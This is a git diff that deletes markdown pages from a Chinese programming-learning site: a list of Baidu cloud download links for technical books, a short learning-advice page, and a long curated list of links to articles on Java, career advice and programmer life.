[百度云下载链接](https://pan.baidu.com/s/1H_E4qXeRZ7Cg73_avZfUxw) 密码:1kgn - -### 消息队列 - -- RabbitMQ实战 高效部署分布式消息队列 [百度云下载链接](https://pan.baidu.com/s/1CSSMuIh7ZP7XdcmexAIQJA) 密码:26s7 - -### 云计算 - -- 大话云计算 [百度云下载链接](https://pan.baidu.com/s/1p4t9IftbE3BwmQoucKHnjQ) 密码:efwj - -### AR&VR -### Docker - -- 第一本Docker书 [百度云下载链接](https://pan.baidu.com/s/1haknxDmxy8Zb3tkBuue3vg) 密码:7dz6 -- Docker入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/1DNNAi11bfoKVWogjnnKuIg) 密码:q175 -- Spring Cloud与Docker微服务架构实战 [百度云下载链接](https://pan.baidu.com/s/1I8TGhywKGbH35UXU-D2hOQ) 密码:yeem - -### IoT -### Kubernets - -- KUBERNETES权威指南 从DOCKET到KURBERNETES实践全接触 [百度云下载链接](https://pan.baidu.com/s/19POddjLvy6PaADvaC1yLYg) 密码:njo1 - -### 测试 - -- 有效的单元测试 [百度云下载链接](https://pan.baidu.com/s/1nIxtJNYpYIGBJY_RXNLx4g) 密码:kbc4 - - -## 管理 - -- 人月神话 [百度云下载链接](https://pan.baidu.com/s/10SwBDRr_ZMZN-q9N_hTcFw) 密码:ctf3 -- 人件 [百度云下载链接](https://pan.baidu.com/s/1bREWB6wK79g9M2w48yh9pQ) 密码:39iz -- 微管理:给你一个技术团队,你该怎么管(全彩) [百度云下载链接](https://pan.baidu.com/s/1QurLZsDK8SPHvWCGjgt0sA) 密码:u6ml - -## 加餐 - -- 编程人生 [百度云下载链接](https://pan.baidu.com/s/1HhpY_BXryZVaDSeF_JHu2w) 密码:mmba -- 程序员修炼之道:从小工到专家 [百度云下载链接](https://pan.baidu.com/s/1NIaXzOYnyb1-cxM4m9j60g) 密码:7yle -- 代码大全 [百度云下载链接](https://pan.baidu.com/s/1EDT4RG0GOlns-7NmLUnNCw) 密码:geyj -- 黑客与画家 [百度云下载链接](https://pan.baidu.com/s/1XM3_0wyytY4ipen0QQynhg) 密码:eyzn -- 奇思妙想:15 位计算机天才及其重大发现 [百度云下载链接](https://pan.baidu.com/s/1LDKM-x8n5RSkFN01jrSRNA) 密码:fm21 -- 图灵的秘密 [百度云下载链接](https://pan.baidu.com/s/1RjldT-mfxyLa0b-2wm7XRQ) 密码:oa92 -- 我编程我快乐 [百度云下载链接](https://pan.baidu.com/s/171cMnqDt2amht9nBMk2V3w) 密码:tqnx -- 《阿里技术参考图册》(算法篇) [百度云下载链接](https://pan.baidu.com/s/1DdT84xRPa4SHmH2SQoRZ6w) 密码:4eev -- 《阿里技术参考图册》(研发篇) [百度云下载链接](https://pan.baidu.com/s/1xLJ2ArI93gCRa6b0cPBkrQ) 密码:hq1u -- 程序员必知的硬核知识大全 [百度云下载链接](https://pan.baidu.com/s/1yCCvpQONyrwoSGsDlr1FWA) 密码:dp1p -- how-to-be-a-programmer-cn [百度云下载链接](https://pan.baidu.com/s/1iXTKzEH9B2JXHgWpC30cvA) 密码:kar9 -- 卓有成效的程序员 [百度云下载链接](https://pan.baidu.com/s/1m2yIHnILjpfW7Rkgm1wm_A) 密码:6511 -- 程序员的职业素养 [百度云下载链接](https://pan.baidu.com/s/1y2j39EIyWZrDxkFRWfUkWA) 密码:n2zg -- 程序员内功修炼-V2.0 [百度云下载链接](https://pan.baidu.com/s/1GRaSU7qUrG7ZUoTzA1UJWA) 密码:xmg5 -- 设计原本(中文版) [百度云下载链接](https://pan.baidu.com/s/1ZDm2FHYxroz1Z92E7Dkb8g) 密码:zaxe -- 数学之美 [百度云下载链接](https://pan.baidu.com/s/1S0Q4mNthoQHIrEIqsHkGgQ) 密码:mbmh -- 淘宝技术这十年 [百度云下载链接](https://pan.baidu.com/s/1_eJr9Hpcyf40FYDsnw2qKw) 密码:b4u6 -- 如何变得有思想 阮一峰博客文集 [百度云下载链接](https://pan.baidu.com/s/1fs-M7Q7zqRFCL7J_Tp7o9w) 密码:7yyh -- 沉默的大多数 [百度云下载链接](https://pan.baidu.com/s/1TIy9PV58RAztfgqjYywvqw) 密码:6vcc -- 香帅北大金融学课 线下大课 [百度云下载链接](https://pan.baidu.com/s/1Ob-nHo0-lLXcV0tzRXLXUg) 密码:cfcm -- 学习学习再学习 [百度云下载链接](https://pan.baidu.com/s/1QbPJcnx_Yaceo__D_lRNLw) 密码:vup6 -- 学习正则表达式 [百度云下载链接](https://pan.baidu.com/s/1jqd1HBM8yTIZfciGJDSlSQ) 密码:icft -- 自己动手写网络爬虫 [百度云下载链接](https://pan.baidu.com/s/17A7RAvY329DbrSon5lzFvw) 密码:cz9n -- Ch3-Ch5-超人气博客是怎样炼成的 [百度云下载链接](https://pan.baidu.com/s/1UXArzgb_uSmKpGSkn3Kimg) 密码:34v0 -- 深入理解Nginx:模块开发与架构解析-陶辉 [百度云下载链接](https://pan.baidu.com/s/17PZYt-WJcfD5M_C0nQpcnA) 密码:k9zc -- 深入剖析Tomcat-高清-书签 [百度云下载链接](https://pan.baidu.com/s/1xLGDAtoWptcj7Fv4NhrPyw) 密码:o77f -- WEB服务_原理与技术 [百度云下载链接](https://pan.baidu.com/s/163eC6VcODfkkiedo6nPOMw) 密码:gvoc -- 由浅入深学Java—基础、进阶与必做260题 [百度云下载链接](https://pan.baidu.com/s/1fzjvlQB9YjsqqV4hf4XB_g) 密码:r1tk -- Java与模式 [百度云下载链接](https://pan.baidu.com/s/10QfuW52AXhSLzzMBgzcbKQ) 密码:56lw -- Java游戏高级编程 [百度云下载链接](https://pan.baidu.com/s/1BviAAMcmeTFtjGfGzETxLQ) 密码:mp4i -- Java应用架构设计 模块化模式与OSGi [百度云下载链接](https://pan.baidu.com/s/1Yz94iRnIXR2iIs1BG6NjIQ) 密码:vgm6 -- Java典型模块与项目实战大全 [百度云下载链接](https://pan.baidu.com/s/1yxw9e_e3UHDMcHpHu17jjw) 密码:svgn - -## 活着 - -- 程序员健康指南 [百度云下载链接](https://pan.baidu.com/s/1EssOkFfZV93QIB9IAFmjmw) 密码:pl0i -- 颈椎康复指南 [百度云下载链接](https://pan.baidu.com/s/1AdqcGTLOUkQxrFFURNYq7A) 密码:ouhh -- 刷爆朋友圈的互联网公司作息表格 [百度云下载链接](https://pan.baidu.com/s/1r7kdeKx8_nq2kASOVnGRGQ) 密码:ssuy - - - - -## 免责声明 - -本仓库书籍链接全部来源于网络其他人的整理的链接,个人只是搜录整理他人成果。 - -如有疑问请提交**issue**,有**违规侵权**,请联系本人 **www.qing_gee@163.com** ,本人立马删除相应链接,感谢! - -本仓库仅作学习交流分享使用,不作任何商用。 \ No newline at end of file diff --git a/docs/src/download/learn-jianyi.md b/docs/src/download/learn-jianyi.md deleted file mode 100644 index d1954d9ad2..0000000000 --- a/docs/src/download/learn-jianyi.md +++ /dev/null @@ -1,6 +0,0 @@ -# 学习建议 - ->不知道学什么?不知道该怎么学?答案都在这里。 - -- [如何阅读《深入理解计算机系统》这本书?](/xuexijianyi/read-csapp.md) -- [电子信息工程最好的出路的是什么?](/xuexijianyi/electron-information-engineering.md) \ No newline at end of file diff --git a/docs/src/download/nicearticle.md b/docs/src/download/nicearticle.md deleted file mode 100644 index cdf95c925b..0000000000 --- a/docs/src/download/nicearticle.md +++ /dev/null @@ -1,494 +0,0 @@ -# 优质文章精选集 - -## 资源推荐 - -### 图文教程 - -- [Java 正则表达式详解](https://segmentfault.com/a/1190000009162306) -- [Java 正则从入门到精通](https://dunwu.github.io/javacore/pages/4c1dd4/) -- [GitHub 上优质的 Java 知识总结项](https://mp.weixin.qq.com/s/-lQ2PTEO4F2d92GDDxKVpw) -- [处于萌芽阶段的 Java 核心知识库](https://mp.weixin.qq.com/s/_Q7lopxM1sJtMA-NOE_v3A) -- [大数据入门指南 ](https://github.com/heibaiying/BigData-Notes) -- [Docker 入门教程(阮一峰)](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html) - - -### 视频教程 - -- [推荐 2 个 Java 练手项目(云E办、仿网易云音乐)](/kaiyuan/yuneban-wangyiyunyinyue.md) -- [中国大学 mooc 国防科技大学计算机基础课](https://mp.weixin.qq.com/s/QpT6jbTAxAoCr-YeiMmFNg) -- [B 站, YYDS!看了这些 Java视频,我直呼好家伙!!!](https://mp.weixin.qq.com/s/rRNYGNwuPdpSJHycP8J37g) -- [哈佛大学的 CS50](https://mp.weixin.qq.com/s/s3e21hF7jmq1lQP-0J1zXA) -- [计算机科学速成课](https://mp.weixin.qq.com/s/JF3CYYsaTAlLgHJoOSnTIQ) -- [该死!B 站上这些 Java 视频真香!](https://mp.weixin.qq.com/s/Wgedf4ZH3_zJXxFxyPPyNQ) -- [大学寒假在 B 站上应该刷的视频课](https://mp.weixin.qq.com/s/xCHyjOokoiES6dOUWp-5mA) - -### 优质书单 - - - [豆瓣 9.7!2022 值得一读的 15 本技术书籍!](https://mp.weixin.qq.com/s/alul8QAwtD82U37Oqa0N5Q) - - [开发内功修炼的2021年书单](https://mp.weixin.qq.com/s/DQPfguCIY4I3N8WnKGpVKg) - - [数据库书单](https://mp.weixin.qq.com/s/vivwFEfvHzpaMl5rzf1GGw) - -### 学习建议 - -- [学习 Java 的建议](https://mp.weixin.qq.com/s/E_z9QsimrbOjVeyjbqGvQw) -- [一些学习 Java 的小心得](https://mp.weixin.qq.com/s/6edJC7qL7XtPpbFLfIXMow) -- [大学想报计算机专业,暑假想要自学,有哪些建议?](https://mp.weixin.qq.com/s/qx9DEvZsEkGISChtTVKy1A) -- [有哪些给专科生的建议?](https://mp.weixin.qq.com/s/kcV0kzfbGGqvlTfeWiVhIg) -- [视频学习胜过读书吗?](https://mp.weixin.qq.com/s/mzbDZCWbfTMvDdh-tQivwg) -- [计算机专业,暑假需要提前自学吗?](https://mp.weixin.qq.com/s/BR0w_bok3MJ2jRFEQR_yTQ) -- [计算机专业应该怎样规划自己的大学四年?](https://mp.weixin.qq.com/s/prclU2IGTlfPqOqFX7CHnA) -- [大学计算机系最努力的同学都是如何学习的?](/xianliaolaoke/daxue-nuli-jisuanji.md) -- [编程语言该如何选择?](https://mp.weixin.qq.com/s/uh9lAgXQ6I2EwqNxXhA-EQ) -- [如何才能把团队给带散?](https://mp.weixin.qq.com/s/GzqBuOjRmzbmTNUBKWqmCA) -- [为什么程序员会有代码能跑就不要动的观点?](https://mp.weixin.qq.com/s/n-ef_q3PIHfa9je1Ndoo3g) -- [自己拥有一台服务器可以做哪些很酷的事情?](https://mp.weixin.qq.com/s/7eIIJzHvIGnlz1cCFyX-yQ) -- [大专生在大学该怎么学习?](https://mp.weixin.qq.com/s/0TFob0orzPW1Xkeu56uIFA) -- [如何才能考上哈工大?](https://mp.weixin.qq.com/s/Ynmz2ljHhQIHIE1kAWq2Sw) -- [学编程有哪些建议?](https://mp.weixin.qq.com/s/EvhWOAGxs2J-2gFVqc8uDQ) -- [怎么吃透一个 Java 项目?](https://mp.weixin.qq.com/s/td12spLVFhSiV3RN3F2zDQ) -- [如何自学编程?](https://mp.weixin.qq.com/s/DPF153bIBGD6GzEEsEaZYw) -- [为什么很多程序员用 switch,而是大量的 if-else?](https://mp.weixin.qq.com/s/iJCWPtksG8dGuvo0TJ7WVA) -- [计科专业的大一新生,如何提高编程能力?](https://mp.weixin.qq.com/s/nUfHezq6orqroW7F-Cs1zQ) -- [前端和 Java 该怎么选?](https://mp.weixin.qq.com/s/oCh8pMuRJrx6vhz2hcA6Aw) -- [如何在大学四年成为一名优秀的程序员?](https://mp.weixin.qq.com/s/AeA42qa3w7gY6TNIHMCcxA) -- [什么才算是真正的编程能力?](https://mp.weixin.qq.com/s/exwE-AGx5gHZzZRHLyYmxA) -- [Java 后端实习生的最基本的要求是什么?](https://mp.weixin.qq.com/s/4KJ-c60G7QsPW4aqdXnPCQ) -- [数据结构该怎么学?](https://mp.weixin.qq.com/s/F1jpcYrmUXTNU9u7tuxw2A) -- [学习 Java,知识点太多记不住怎么办?](https://mp.weixin.qq.com/s/1Vs-pzfnUoqL1tK7M7KdzA) -- [程序员需要达到什么水平才能顺利拿到 20k 无压力?](https://mp.weixin.qq.com/s/d6_0Ab8Wwa_OwHt1_-vfTQ) -- [如何看待一些大学生说 3 天学会了 Java?](https://mp.weixin.qq.com/s/IyaFozSB4p9us8Gwz4J9uQ) -- [如何培养解决问题的能力呢?](https://mp.weixin.qq.com/s/TIbF4H9tzazMromHfYEAXw) -- [如何才能愉快的刷题?](https://mp.weixin.qq.com/s/rNKr0rLwj4H05d5PlDYJZg) -- [如何才能高效地学习编程?](https://mp.weixin.qq.com/s/_TaQ7KzmHJMoZ2JQ891Rqg) -- [读书有没有一些好的方法呢?](https://mp.weixin.qq.com/s/bz71WiC0Ltw42vNPhjnYaQ) -- [如何学习 Java 的数据结构?](https://mp.weixin.qq.com/s/eGchqCHsX5epqIn2zT3ARQ) -- [如何全面系统地自学Java?](https://mp.weixin.qq.com/s/_K2eCN6mQPAoKjo19bJ6CQ) -- [如何才能高效的阅读源码?](https://mp.weixin.qq.com/s/-QnztlTt0F2zsHf1wV7uRg) -- [奉劝那些想把编程学好的人](https://mp.weixin.qq.com/s/sDI8hyTKH0bRfNoc9zRP1g) -- [计算机基础知识有哪些?](https://mp.weixin.qq.com/s/QPlbIAPU_TbYxbt-t2quRQ) -- [如何学习 Vim?](https://mp.weixin.qq.com/s/Dz-CcTdrVZ6XALr-3utdxw) -- [如何学习 Shell?](https://mp.weixin.qq.com/s/oEo8N3nE0wR1zl7qD4nh3w) -- [学习编程的一些经验梳理](https://mp.weixin.qq.com/s/yuKLyS0-3GbMRu0cH77JRg) -- [如何成为优质开源项目的贡献者?](https://mp.weixin.qq.com/s/_jJk4xKLAlBU6ZrxsbeqoQ) -- [新手如何使用 GitHub?](https://mp.weixin.qq.com/s/IcbWYOZ_HXc9O8h0o62Wmg) -- [怎样提高自己的编程能力?](https://mp.weixin.qq.com/s/0BDRUAob-DUPYs6gPS7V6Q) -- [一名厉害的 Java 后端程序员都需要懂得哪些知识呢?](https://mp.weixin.qq.com/s/dYbDNeyE5zddn1SbO2g6aA) -- [只会抄代码,该怎么办?](https://mp.weixin.qq.com/s/T576UPxMGH_4axlllwPgzw) -- [女生适合学编程吗?](https://mp.weixin.qq.com/s/ZtFAxJP4KVXjzbT-Qc91Dw) -- [如何写出让同事好维护的代码?](https://mp.weixin.qq.com/s/KGLrZ1nGmnwr2uq7FJzfQg) -- [如何写出让同事无法维护的代码?](https://mp.weixin.qq.com/s/XS6Zh51ISvQ1uyIXBWkUUA) -- [新手小白,该怎么提高编程能力呢?](https://mp.weixin.qq.com/s/YTpBj5nNZdkuPahK9JuqXQ) - -## 程序人生 - -> [!NOTE] -> **程序员的人生不仅有代码,还有诗和远方**。

-> 人间烟火味,最抚凡人心。 - -### 码农生活 - -- [中美程序员不完全对比](https://mp.weixin.qq.com/s/KByt42RiDtt2aWpN4klmKg) -- [降薪 45%,从互联网回到国企](https://mp.weixin.qq.com/s/qHGdIuA32X-zydbMTKDPuA) -- [学弟在微软的这六个月](https://mp.weixin.qq.com/s/08Ax1ArAjchemjUXih7zNw) -- [找个程序员做老公/男票有多爽???](https://mp.weixin.qq.com/s/mK0yaen1mhCoWZ6ZLC5vQg) -- [转眼就来字节六个月了,真的不一样](https://mp.weixin.qq.com/s/jG7DLrCFf_pYoMLFiVbaaA) -- [在监狱里编程是一种什么体验(上)?](https://mp.weixin.qq.com/s/ci5Meem_d3g2BphDmMP8VQ) -- [29 岁,非科班零基础,想兼职做外包。。](https://mp.weixin.qq.com/s/CTTlnXNXY9j3Bm3_4gmIbw) -- [30岁女程序员,做建材生意4年,想重回软件开发...](/xianliaolaoke/chengxuyuannv-chonghui-java.md) -- [就离谱.......这个产品小姐姐也太会撩了吧](https://mp.weixin.qq.com/s/Oml9oWQHIR1aYWSJQDXWVQ) -- [王小波的计算机水平有多好?](https://mp.weixin.qq.com/s/Ad_6DMt0tTzF6lYu3EUm0A) -- [为了一个 deadline,清华毕业的 IT 老乡猝死在马桶上](https://mp.weixin.qq.com/s/j54Kh2p8cAtIZprScN4_dg) -- [996加班累到肺部切除,维权之路](https://mp.weixin.qq.com/s/DjSSzLQHBNOVyewEbLmhyw) -- [去上海申通实习了,有点迷茫。。](https://mp.weixin.qq.com/s/cHqplnL2S-lI76HQE6QBvA) -- [一个月薪 12000 的北京程序员的真实生活](https://mp.weixin.qq.com/s/HhFzoDR4oSOf0idlCjtApw) -- [进腾讯了!](https://mp.weixin.qq.com/s/XG1k39oZ0p1tT1Y4qVmXfQ) -- [被调剂到计算机专业是一种什么体验?](https://mp.weixin.qq.com/s/EMt1xGE5rGOLQQ-3587oUg) -- [拿到贝壳的转正意向书了!](https://mp.weixin.qq.com/s/bv_lLFnl7xq8X9D07q-cJQ) -- [卧底软件培训公司,揭开编程培训内幕](https://mp.weixin.qq.com/s/e3r6aXm2yjGBaQvaCjzBfw) -- [这样的国企,不去也罢](https://mp.weixin.qq.com/s/9oGfI-qumnFlkSqD13l4kA) -- [老乡拿下了ACM金牌!](https://mp.weixin.qq.com/s/SOdXLc1B1dUHwJHsmQppUQ) -- [去银行写代码是什么体验?](https://mp.weixin.qq.com/s/-BMhUxWbiTtAasGCssoWiA) -- [考上北大了!](https://mp.weixin.qq.com/s/l9ew7ilIjUwplCky3IQTww) -- [二哥的读者(女,从小就想当黑客,初中学编程,高中造火箭](https://mp.weixin.qq.com/s/nx15_7xw32CsfLYXuLg7Sg) -- [二哥的读者(男,半年时间,非科班进携程了!](https://mp.weixin.qq.com/s/_coQbVnlir_fH5eDNzBB3Q) -- [我终于有字节工牌了!!!!](https://mp.weixin.qq.com/s/8gArGQck86zOBgoP77pqiA) -- [半路转行计算机的女生](https://mp.weixin.qq.com/s/nOIZmt1Qkd8pY_ANsFZiDw) -- [在国企当程序员,贼酸爽!](https://mp.weixin.qq.com/s/OG6ziNS26TobPlHgp4CYSQ) -- [面试外企是一种什么体验?](https://mp.weixin.qq.com/s/HEydOa8zhWOBe_2sngEDuw) -- [37岁老码农找工作](https://mp.weixin.qq.com/s/0wslDH_9oaVHfepGLJ113w) -- [一个培训班出来的程序员](https://mp.weixin.qq.com/s/3JXhx1ut4VgmCr766Ig3ng) -- [如何才能把团队给带散?](https://mp.weixin.qq.com/s/GzqBuOjRmzbmTNUBKWqmCA) - - -### 闲聊唠嗑 - -- [约河科大软工专业的 4 位学弟一起撸了个串](https://mp.weixin.qq.com/s/nhDBZGmN3-pZQD2AxMhFhA) -- [带妹来和父母团聚了!](/xianliaolaoke/fumutuanju.md) -- [愤怒!这个阿里云工程师的甩锅能力,真的超级高水平!](/xianliaolaoke/aliyun-shuaiguo-gongchengshi.md) -- [差点散伙!](/xianliaolaoke/chadiansanhuo.md) -- [滴滴程序员被亲戚鄙视:年薪八十万还不如二本教书的...](https://mp.weixin.qq.com/s/iDQiMaTo4Pi8fqnUxAsWuQ) -- [和华为的大佬一起创业了!](https://mp.weixin.qq.com/s/LfJR6qIZ7fRorIs22VNSOA) -- [带妹来青岛了!](https://mp.weixin.qq.com/s/TUdQI4B9_VLSrzLekp6JsA) -- [母亲节快乐!](https://mp.weixin.qq.com/s/VgixuYkIkyMfK1aGM6sBSQ) -- [大学同学考研成功了!](https://mp.weixin.qq.com/s/U44Js0_KQbv_9osV75lOuA) -- [打算在县城“买”片地](https://mp.weixin.qq.com/s/KRaSFlMTYV_3GoCv4aDRWA) -- [曝下 955 加班少的公司名单!](https://mp.weixin.qq.com/s/qR_MmaKfVHERuAz987MzyA) -- [我身边的 3 个女神](https://mp.weixin.qq.com/s/kZ7simp8xSniK-E-AmVJCw) -- [住过窑洞的人](https://mp.weixin.qq.com/s/CDXyVL39aIQuvD4jssObTw) - - - - -### 人生建议 - -- [准备考研还是准备工作?](https://mp.weixin.qq.com/s/uY7tSA3ieSBe0IRjR9Ighg) -- [自己能力不足,想要辞职,该怎么办?](https://mp.weixin.qq.com/s/XAnWkOzO_PHIgyFrnlejbg) -- [美团还是研究所,美团年包多二十万,怎么选?](https://mp.weixin.qq.com/s/oc-6Um6y0LlpSQwDY4HAbw) -- [被毁约了,该怎么办?](https://mp.weixin.qq.com/s/q6EEokBPLjf00ELHpusJlA) -- [离开学校后,我才明白的这些道理](https://mp.weixin.qq.com/s/iAdAlISvLXgxkrYih3zB3Q) -- [假如哪天失业了该怎么办?](https://mp.weixin.qq.com/s/2mMH7lp9g_u40Gh7E0S7mQ) -- [害怕三四年以后读研出来计算机不行了](https://mp.weixin.qq.com/s/Xe06SHupUwfQn-hyBv9s0Q) -- [校招黑名单](https://mp.weixin.qq.com/s/q4xF4ddqjeTfWikcUk-HLA) -- [绩效被打C了怎么办?](https://mp.weixin.qq.com/s/VAboB0lrGcDlhxvsYwckzg) -- [要不要去日企?](https://mp.weixin.qq.com/s/72Mzt2a9pd3HBddaIQvM9g) -- [上大专有用吗?](https://mp.weixin.qq.com/s/pspf-XKOgSWkoIKgpv9VEA) -- [高考该如何填报志愿?](https://mp.weixin.qq.com/s/vavycrOfjtsvA_ARaWsxSg) -- [计算机大类到底该选择哪个学科呢?](https://mp.weixin.qq.com/s/1uZA16fXy7YXivi210vcLw) -- [银行科技岗,真香吗?](https://mp.weixin.qq.com/s/EOm5qhR4bKF7idBvp4Q7zQ) -- [该填志愿了,国内大学计算机专业哪家强?](https://mp.weixin.qq.com/s/pDFA5XVKYTte5Jlw6j4Z-g) -- [如何优雅地向公司提加薪?](https://mp.weixin.qq.com/s/A7fD8Y0wDvg9byJRF2rg9Q) - -## 数据结构 - -- [栈](https://mp.weixin.qq.com/s/fc48Z5tSMlBHweYIS1UL0g) -- [队列](https://mp.weixin.qq.com/s/TCg9_3cVuDfZLqK2eYrc7w) -- [霍夫曼编码](https://mp.weixin.qq.com/s/BbDQPEPY6Etp9F8gQSBchw) - -## 其他杂文 - -- [B站视频被抄袭了!附 2022 年目标](https://mp.weixin.qq.com/s/MBIahGdnyKJ1KNeUFFqgdQ) -- [入坑 docsify,一款神奇的文档生成利器!](https://mp.weixin.qq.com/s/CJ6JzqU3N4l9pJbrQ_HB-w) -- [想去读个研究生了](https://mp.weixin.qq.com/s/eKJIxcwOdykHza4AMRoiTw) -- [逆袭!](https://mp.weixin.qq.com/s/XdQwOoyhRZnXt7XL6toqDg) -- [我坚持三年了](https://mp.weixin.qq.com/s/hA1dnbjd7o1t1jWVGDX8tg) -- [坚持了半年,值了!](https://mp.weixin.qq.com/s/LMm3zzA8XbbeJIfAn0D-QQ) - -## 技术文 - -- [为什么阿里巴巴要禁用Executors创建线程池?](/thread/ali-executors.md) -- [10 张图告诉你多线程那些破事](https://mp.weixin.qq.com/s/047_V8QVNewxsYVykNqwAQ) -- [我是一个线程池(细节修订版)](https://mp.weixin.qq.com/s/gHUyuljaT8ESOjeMfV1fnQ) -- [我是一个线程池(续)](https://mp.weixin.qq.com/s/e61PCzlIUe0YJcQsCG9FYw) -- [我是一个线程(全新修订版)](https://mp.weixin.qq.com/s/zxlLWxNsyIJMh4NDeGZBAg) -- [为什么 Java 线程没有 Running 状态?](https://mp.weixin.qq.com/s/eo-IKT_d6IT-8b2CXCidPw) -- [Spring事务失效的12个场景](https://mp.weixin.qq.com/s/qoWlR4ohVMfZf8IlhdSQDQ) -- [在 Spring Boot 中使用 HikariCP 连接池](https://mp.weixin.qq.com/s/9R3U4-Uzg3eaXJS20izS9A) -- [Spring Boot AOP 扫盲,实现统一的接口访问日志记录](/springboot/aop-log.md) -- [前后端分离项目,如何解决跨域问题?](/springboot/cors.md) -- [JWT:一个优雅的跨域认证解决方案](/springboot/jwt.md) -- [基于SpringBoot的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g) -- [Logback这样配置,性能提升10倍!](https://mp.weixin.qq.com/s/dO1dYAHwyB-81L1z3D_sdg) -- [崩溃!我带的实习生竟然把图片直接存到了服务器上!](/springboot/oss.md) -- [看见 Java](https://mp.weixin.qq.com/s/zBfvjq3gry2zsMoMir6oZA) -- [临时抱佛脚,线上问题如何排查?](https://mp.weixin.qq.com/s/mDnDjTWereF_ekLG1NNHRQ) -- [深入浅出 Java 虚拟机](http://static.kancloud.cn/alex_wsc/javajvm/1844795) -- [Java中9种常见的CMS GC问题分析与解决](/jvm/meituan-9-gc.md) - -## 前端 - -- [前端最努力的同学都是如何学习的?](https://mp.weixin.qq.com/s/BrYyhCyQwBEZOwgJZeaTOw) -- [前端学习资料](https://mp.weixin.qq.com/s/sos0tc_pTptzQimBNSS-vg) - -## 问题解析 - -> [!TIP] -> 开发过程中遇到的一些典型问题,该如何解决? - -- [重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ) -- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ) -- [内部群炸了锅,隔壁同事真删库了啊。。](https://mp.weixin.qq.com/s/lvyoN1gHCWhcPqudcjcRgQ) -- [B 站崩了](https://mp.weixin.qq.com/s/PfJe5rXednkXTq8EKT0xpw) -- [因为一个低级错误,生产数据库崩溃了将近半个小时](https://mp.weixin.qq.com/s/ec6u8WsPt7zJ0eul8sPEhg) -- [防止重复提交最简单的方案是什么?](https://mp.weixin.qq.com/s/n9AFMwQB9V_fq_sED1EWvg) - -## 代码优化 - -- [49 个代码优化小技巧](https://mp.weixin.qq.com/s/ikfgfHunmlwR-43rd8LknQ) -- [不要用“ ! = null ”做判空了!](https://mp.weixin.qq.com/s/9EOTzZ2Qx3u8oTyghkVUEg) - -## 性能调优 - -- [性能调优标准](https://mp.weixin.qq.com/s/vEt_ypvByKS-oCsuRmpgUw) - - -## MySQL重要知识点 - -- [深入浅出MySQL crash safe](https://tech.youzan.com/shen-ru-qian-chu-mysql-crash-safe/) - -## 待收录文章 - -* 苏三说技术 - * [你管这破玩意儿叫 Token?](https://mp.weixin.qq.com/s/ALFKO1s4Ilmp39dwjm42iA) - * [Java并发编程AQS](https://mp.weixin.qq.com/s/VnhST9UQLay2Zvrq-zu0hA) - * [聊聊缓存](https://mp.weixin.qq.com/s/fnHMljZhFoPS0R3w4NkrcQ) - * [并发编程的10个坑](https://mp.weixin.qq.com/s/lJidWmVNLlXpWLeGLXWMxQ) - * [Spring Boot Admin,贼好使!](https://mp.weixin.qq.com/s/qglX8id8RRCB46D1SD82lw) - * [聊聊一致性hash算法](https://mp.weixin.qq.com/s/yy0Gmo_2fq4Mw9QEx4AfBg) - * [双亲委派模型](https://mp.weixin.qq.com/s/GCVa2NZ5dLouPVfs-Diaug) - * [Spring夺命连环63问](https://mp.weixin.qq.com/s/e7uJISi2ySh3zyvAC-buWA) - * [链路追踪自从用了SkyWalking,睡的真香!](https://mp.weixin.qq.com/s/qUVQY7QzAUzIiuF-J8_ltQ) - * [你管这破玩意儿叫高可用](https://mp.weixin.qq.com/s/AK-fFw6czEtDUEPkUSAX7Q) - * [聊聊Netty那些事儿](https://mp.weixin.qq.com/s/JnmH21jHv4e3qSSyPlwdQw) - * [聊聊Redis性能优化的13个小技巧](https://mp.weixin.qq.com/s/XdXW4kjAywmh4hDRxbB38g) - * [聊聊Java中那18 把锁](https://mp.weixin.qq.com/s/2bdZ47CO14b_JPyCN7VPXQ) - * [脏读、幻读和不可重复读](https://mp.weixin.qq.com/s/mGyreqSDYe6k3tDtZzXK7w) - * [索引失效的10种场景](https://mp.weixin.qq.com/s/IquzvfsDal-q8-RHuTg1hg) - * [你管这破玩意儿叫负载均衡?](https://mp.weixin.qq.com/s/NDkwBvmGVoomgDvbBGIIPA) - * [MQ夺命连环13问](https://mp.weixin.qq.com/s/_yF-ePc4EUm7M1hRSlOcJA) - * [缓存穿透、缓存击穿和缓存雪崩](https://mp.weixin.qq.com/s/MsU0eNt4k7WqpBOQ8CAotA) - * [接口性能优化的11个小技巧](https://mp.weixin.qq.com/s/0ez_mkyr0i4MZd7DEN7M8A) - * [java中常用的18种队列](https://mp.weixin.qq.com/s/UjN3OAm_s8MR1Iylg4Se-w) - * [Kafka 连环20问](https://mp.weixin.qq.com/s/DM3z8aM0CqAzWGwXEIzBhQ) - * [为什么要分库分表?](https://mp.weixin.qq.com/s/86ofMr3_I9Y4CfYzBkvwrw) -* 月伴飞鱼 - * [Kafka核心知识总结!](https://mp.weixin.qq.com/s/zfHoSsuSpXWOaxQrm7uvkA) - * [一份完整的后端学习路线](https://mp.weixin.qq.com/s/SjD5RqNDNFu75Ho0MrNGGQ) - * [万字详解秒杀系统!!](https://mp.weixin.qq.com/s/HNCGpDyuIArLcEjOyovsog) - * [吃透MQ](https://mp.weixin.qq.com/s/62SSYiGWe3SKUKLpyqw3ow) - * [搜索引擎Elasticsearch,这篇文章给讲透了](https://mp.weixin.qq.com/s/QIsbj_-9Qrv0LTivs-Qbrg) - * [如何构建自己的知识体系?](https://mp.weixin.qq.com/s/2yVLAYeodQpDePGGZm6n5Q) - * [OAuth2.0究竟是个啥](https://mp.weixin.qq.com/s/QnIPlVDFJpVBxmCaa8iQkQ) - * [不会还有人在MyBatis 中写 where 1=1 的吧?](https://mp.weixin.qq.com/s/uKSLxYFdOleWCOwV-Qkjnw) - * [限流神器Sentinel](https://mp.weixin.qq.com/s/OvqvVy7C1DevSIIJdPAm6g) - * [程序员简历应该怎么写?](https://mp.weixin.qq.com/s/jFHDUGcuG5EodEmLz3c9eA) - * [秒杀系统的架构图!](https://mp.weixin.qq.com/s/6rxlsmBpTZGBXBaWZ4IbnA) - * [使用 JMeter 进行压力测试](https://mp.weixin.qq.com/s/DK-HbCUi9eQdq_NrEG3KAA) -* 